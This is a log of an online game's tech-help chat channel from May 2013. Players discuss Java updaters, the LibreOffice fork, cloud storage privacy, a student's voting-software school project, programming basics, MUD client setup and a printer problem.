T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i would ditch skype if bitlbee had decent support for it
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Although I'd like to see closed source and paid apps in a package manager controlled system as well, to simplify updates.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, yeah, i hate the updates on windows
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: some do it well (chrome), some suck royally (java)
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: It's not that easy to find good free games for windows, unfortunately...and most of the best-developed voip and graphics software isn't open-source either :p
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Java updates.... *shudder*
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i nuked java long time ago. don't need it for anything since libreoffice was forked and they removed most of their java code
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: What's hard with that? Never done that on windows, but on linux it's a breeze.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's not hard. it's just annoying and bad
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: constant notifications, need to restart and the best bit - it prompts you to install ask toolbar
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Ah. That's just windows, then. :P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: like, WTF?!
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, that friggin toolbar request every damn time
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's like oracle doesn't have money and has to support java installs with ads. just boggles my mind
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oracle is the bugbear of software
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hell, even ms brand of java wasn't as annoying
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: They are definitely more evil than sun was.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: sun wasnt evil
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: in the hindsight sun was all about puppies and nice things
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: That's what I said.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: killed openoffice, made java unbearable
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Open office is dead?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it seems they bought sun just to piss off people
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's not dead per se. more like undead
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: OpenOffice is....owned by Oracle now. Most of the people who were working on OpenOffice that didn't like what Oracle was doing are now working on LibreOffice
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oracle started messing with the community, community forked libre, oracle just let openoffice die without signing away the rights and now dumped it on apache foundation
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the developers are long gone. they're just playing pretend right now
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Ok, in that case openoffice is dead, agreed. I use libreoffice, as does everyone else.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: happened just because oracle was being a massive ponce
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Well, fortunately it was open source, so it could be forked.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: "if i can't have it, nobody will"
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Ranrr.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yep, except that I've gone over to Google Docs now for easier sharing between diversely located team members
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i've been quietly migrating to google drive tho. i don't do much text processing or spreadsheets anyway
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Tigernuts shivers uncomfortably.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir goes, "Heh."
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that too, airmeith
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: i dont use dropbox or google drive but what i dont understand is when i have seen dropbox its like 30 megabytes! why is it so big?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what do you mean?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: I mostly use google docs nowadays too. Or LaTex, if I want nice looking documents.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: spent a week working with Brits on writing a training doc that needs to be accessible by people worldwide, and the Brits and I have two other docs that we need to maintain for our notes on trainees and such... far easier when I'm in Tennessee
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: dropbox-1.4.7-1pclos2012.i586.rpm is 28M, makes me wonder what its really doing inside
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: that'll be all the snoopware
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: drawing chemtrails in the sky and notifying the reptiloids about your daily business of course
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: exactly!
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: gotta have code to alert the feds as to what's in it
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: it's the law
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: really? have you even considered the fact that it's cloud storage and they don't need to bundle anything in the installer?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but hey, paranoia prevails. altho they probably have to cooperate when subpoenaed
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: if they're yanks, they'll be foreced to
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: at least with google drive you *know* they are indexing everything you upload :)
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and google publishes government requests
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: http://www.google.com/transparencyreport/removals/government/
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 0 ever from my country
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: where can i find a whole bunch of free source code on different types of programs?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The internet. Can you be more specific?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: ok...i want a website
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: please
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You want to use xhtml and css only, or you want SSI, or Javascript, or PHP, or HTML5, or JSP, or ASP.NET?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You want a forum, or a shopping website, or an aggregator?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: so there is no website that keeps the most used libraries of all the most used languages for study? because i want to look at previous source code for an election / "winning party" program for ideas on algorhithms, or to see if there probably isnt going to be that much work in it.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The 'most used libraries' are often proprietary, and are covered by patents and copyrights, so you won't find them open source without digging quite deep, if at all. And most code repos are smart enough to limit their scope to a particular theme, so as to better service users, rather than spamming them with every scrap of code under the sun.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you want algorithms, then what you want really has nothing at all to do with the languages in question: good algorithms are by their very nature far more universal than that
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yes i know algorithms make code work not the other way around
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So why are you looking for libraries if you want an algorithm?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: i thought i might be able to specificly hit the jackpot and find an election program with algorithms, code and all.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: in whatever language, it doesnt matter.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is not a library, that is an application... it would probably use libraries, but a library it is not.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: i know...but would i not be able to search through the libraries?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are asking questions without the knowledge to understand the answers. A library would be something like graphics handling, or a maths module, or some other generic thing. An 'election program' would use libraries like these, but it would not be anywhere near generic enough to warrant becoming a library in and of itself.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yes i am not a pro at this,i am at my second year of studying I.T. at school(last year) and were learning a dead programming language (Delphi) that is why i am asking and i knew i messed up my question somewhere. so let me ask this, is it possible for me to get hold of code that could help me construct a program similar to that is used in voting machines?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: we are*
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: delphi, isnt that pascal?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yeah
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: .*facepalm* think about how it would work, and write it out in lpain tet what you would need then go looking for code
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: plain text*
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: do you mean pseudo code?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As much as it seems like I am helping someone cheat on their homework, you could try looking through the source code for http://www.openstv.org/ - that said, the actual voting machines are very much proprietary and closed source.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is quite simple programming, really - the hard part isn't the voting, it is the securities against cheating, and the timely and secure communication of results.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: electric voting machines are dodgy as hell, they should go back to paper ballots
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes Tiggr, we all know you hate the vote cheating conspiracy that is the electronic vote. Not the point here.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: as long as you make clear that conspiracy is merely more than one person colluding to achieve a goal
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: it goes on, it has been proven to go on
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: thank you, but its not cheating in the first of the project requires that find existing software, list it and try to improve it
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: first phase of 3*
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was voting your choice?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Are you limited to voting software? Because your teacher is a bit of a hardass if so :-P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is agreeing with that Captain HR Vakieh person again...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: voting apps should be restricted to those pointless opinion-getting polls on websites that have no scientific value whatsoever
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Still not the point
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is agreeing with that Captain HR Vakieh person again...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: what is the point, then?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you were more concerned with reading the discussion and less concerned with derailing based on a trigger topic you have an interest in you would know already...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: helping this one find some poor code to improve, using pascal
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yeah unfortunately so. there are only 7 of us in the class. Everyone from grade 10 up refuses to take I.T. because of its difficulty. here in south africa, when code spams screens..people pull out the battery or power supply..lol
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: pascal is so simple...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: pascal? did we step through a door into 1992?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Remarto, Delphi is pascal with objects, and in my limited experience it handles them poorly
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, so your teacher selected vote machines to improve, but didn't give you a lead on where to find existing vote machine software?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think i swapped from delphi to lazarus as my handler
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yes pascal is simple, because you guys know fortran and cobol.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: um i learned pascal at school in I.T aswell, but not in SA
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Elxi Tech: Sounds to me like  you should be searching news articles or security white papers for known faulty software. Then you not only have a shot at the code but the known problems and known solutions.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: sounds like an extraordinarily vague briefg
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: brief*
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pascal is simple, it is a procedural language much like any other. Delphi crashed and burned because it jumped on OOP too late and in too complicated a fashion.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto nods.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Still, iirc you can ignore the OOP part of Delphi, and just use Pascal without too much trouble
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: what do you mean 'complicated a fashion'? the classes and object usage isnt too bad, or is it that other stuff is just better?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: biggest single flaw of electronic voting machines is not so much the core voting software, but the access that low-level plebs have to tamper with the vote
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto sighs.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I mean its syntax was far less intuitive than you might find in one of its contemporaries, like Java/C++ or even VB
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: oh... ok.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its mainly knowing what you want to do then finding the syntax to do it i found
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is all programming ever is, Remarto :-P That and understanding wtf you wrote the day before, and why it isn't working now
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ugh i hate debugging
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tigernuts Tech: strongly typed and structured languages make debugging much easier since it won't let you make so many mistakes
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: also,many times im given a project where i am forced to create a class and a couple functions for the project. But the task is so small. what should i make what classes should i make and when must i do them, or does it even matter when a class is made?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: my teacher sucks ass at explaining anything.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Learning to build small fundamental classes is the key to being able to develop larger applications
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: the difference between a function can only spit receive on argument then spit out one value after processing it. if this true for all languages?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: nevermind that i said the difference just now
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: a function can only spit receive on argument then spit out one value after processing it. if this true for all languages?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: i am asking if this is true for all languages?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: are you asking if functions can only receive one argument and spit out only 1?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: 1 value, yes.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i have had functions spit out more than one value
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: thought only procedures can do that..
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: mmmm
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Elkore Tech: functions often have zero to many arguments but usually only return one value
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: yeah...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Function and procedure are synonyms, with languages tending towards one term or the other, but the effect being the same
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Realistically speaking only scripting languages return more than one variable natively, though the effect can be simulated by returning an array/pointer, or an object.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thats probably what i was thinking of
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lua, for example, can have the construction "a, b, c = getThreeReturnVariables()"
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Jhav Tech: Python does something similar.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i only dabble so i wouldnt know :P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Elkore Tech: typically procedures dont return a value and functions do, but some languages dont force that distinction (dont ask me which ones)
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vampfox Tech: ive never tried ussing a function to stuff an array..
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wut? Elkore, a procedure and a function are the same thing. 100% identical, just different languages use different idioms for classification...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A function which doesn't specifiy a return variable still returns null
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Elkore Tech: the usual distinction is that a procedure does not return a value
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is agreeing with that Captain HR Vakieh person again...
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Mye Tech: depends on programming language, vakieh
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think this has all gon way off topic anyway :P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Dranix Tech: hello, I am using MushClient, and lately it has been unable to connecto Aardwolf automatically as it used to do. I have to play around with the MUD address and port only then I can connect each time. Can someone please help me? 
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: after you "play around with it", have you gone to file and told it to save?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Dranix Tech: No I didn't. Do I do that at 'Save World Details'? 
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Dranix Tech: Just did. Will try to reconnect. Thank you!
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Dranix Tech: okay it worked. Thank you! And another question, each time I close MushClient, 'world internal variables (only) have changed' comes out. Do I save as prompted? 
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: yeah
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Dranix Tech: alright. Thank you! 
T3/r7/2013-05-12.txt.gz:{chan ch=tech}MightyChick Tech: can someone give me a quick rundown on how to write a small script to move with shift+w for an example
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: I'm using mudlet and I'm trying to assign navigation keys to the keypad, but after I add them and I get them kind of working, instead of sending one direction it doubles it
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: It seems to be grabbing what should be sent from the command line, but when I take the text out of the larger box it won't run. But if I leave something in the command line then I get it giving two directions instead of one
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: Or, if its something mudside, that would be great to know just so I don't drive myself nuts trying to get it to work
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Hanslanda Tech: check ALIAS to see if you have one that matches what's getting sent.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Hanslanda Tech: beyond that, Aard doesn't care at all what you send it.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: nope
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: ok
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Aurelia Tech: One of my macros for movement is set up exactly the same as the others, but I'm still getting a double command even though there are no other commands using that key - any suggestions?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Vonliege Tech: what's the object command for Bast's quest window?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: hi is there a aardwolf client for smartphone or windows phone?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: not mushclient
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: but there are various apps that can connect to muds
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Daloran Tech: theres actually a customized version of blowtorch for aardwolf
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: like :)?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: there's blowtorch for android
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: where can I download it?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: search on the market
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: actually i think searching for aardwolf should bring it up
T3/r7/2013-05-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its not on windows phones though
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: aw ok ,should I just search for blowtorch
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: you still haven't said what os you're on
T3/r7/2013-05-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: said a windows smart phone
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: oh, i thought he was asking for smartphones generally, eg windows
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: ok a app for nokia lumia
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Justintyme Tech: off
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Daloran Tech: Well, in all fairness you said smartphone or windows phone
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: unfortunately idk of any mudclients for windows phones :/
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: its kinda both
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Redryn Tech: you can try getting a telnet like app though
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: any for smartphone
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Daloran Tech: it's a windows phone star. A windows phone is a smart phone. A smart phone is not a windows phone.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Daloran Tech: a vast majority of smart phones are running either Android or iOS
T3/r7/2013-05-13.txt.gz:{chan ch=tech}StArLiGhT Tech: ok I get it ill try 
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Tech: you can try this: http://tinyurl.com/dyz8hmg
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: anyone know why my printer always goes offline and doesn't work =(
T3/r7/2013-05-13.txt.gz:{chan ch=tech}ElFeneri Tech: nope
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: I have to keep reinstalling it to get it in online again
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: faulty drivers? maybe
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: how does one typically set a printer back to online?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: Does it switch off, or just stop printing?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: the printer works fine after it's just been installed
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: it works fine until I switch off my computer, when I turn my computer back on the printer is in offline mode according to windows 7
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: the only way I can figure out of getting the printer back in online mode is to reinstall it every time
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: the actual printer itself is fine I think, just windows 7 perceiving it to be offline
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: well, I don't know much about printers, but you can go to controll panel, Devices and printers, Right-click your printer, and it should give you the option to Enable it again, if not. then I'm sorry I can't be of more help
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: I'm there already but can't see any option to re-enable, that's what's baffling me I guess
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: you could also google your printer name followed by your problem and try to find a solution
T3/r7/2013-05-13.txt.gz:{chan ch=tech}ElFeneri Tech: - h10
T3/r7/2013-05-13.txt.gz:{chan ch=tech}ElFeneri Tech: and if your restart your printer it doesn't work either?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: no, I did google search, and it seems other people have exact same problem and I don't see solution
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: Hmm, it could be the printer itself
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: or the drivers it came with is faulty
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: it's HP C6100, feels so ridiculous re-installing it every time
T3/r7/2013-05-13.txt.gz:{chan ch=tech}ElFeneri Tech: what if you switch off printer before computer?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: maybe - next time I need to user printer I will try turning it on first
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: that could be it
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: maybe, You never know
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah, perhaps it checks for the printer at startup but won't detect it after that
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: perhaps, if it does work. don't forget to tell the other troubled users
T3/r7/2013-05-13.txt.gz:{chan ch=tech}GraySong Gregor Tech: well even if it does work, it's clearly not a solution to the problem
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hollister Tech: yes, but it would be a workaround untill a solution is found
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Tech: GraySong Gregor nods.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how to check what is using my data in windows 7?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to view all the variable currently assigned in Aardmush?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: not really--you can view variables you've created, but that doesn't help with the ones in the scripts
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Vonliege Tech: yes.. it's the ones in the scripts I was after
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Vonliege Tech: do assigned variables exist in a file anywhere, or are they just held in memory?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: so the mush bigmap window can be zoomed... is there a way to scroll side to side or up/down?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Vonliege Tech: would someone happen to know that the name of the variable used for the target in the search and destroy plugin is?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Ayasinda Tech: look at the plugin
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Vonliege Tech: I did... It was sort of overwhelming.  I guess I'll did thru it some more... Can you perhaps tell me what the syntax is for a variable in a script is?  so I at least know I'm looking at a variable?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Tabrune Tech: Hello, I was wondering where to get started on creating my own levels?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: Have you checked out 'help building'?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Tabrune Tech: Yes, i've looked on the website aswell. I'm pretty new to muds but I love coding and making things. Do I need a program of some sort?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: No.  As per the helpfile: "We can not take areas created with any offline ROM area creator (such as MZF, etc).  Aardwolf does not use the standard ROM 2.4 area format.  All building must be done online on the test port."
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: you have to be approved first.  Once approved, the builder-corralling IMM will get you set up with the resources you need.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Tabrune Tech: Okay, where can I build online then? 
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: help builder
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: Need to apply and be approved first.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: And meet the requirements
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: which are also in the helpfile
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: help ports to get the login info for testport.  You won't at all have access to anything you don't have access to here (aside from a few tester-related stuff for testing convenience).
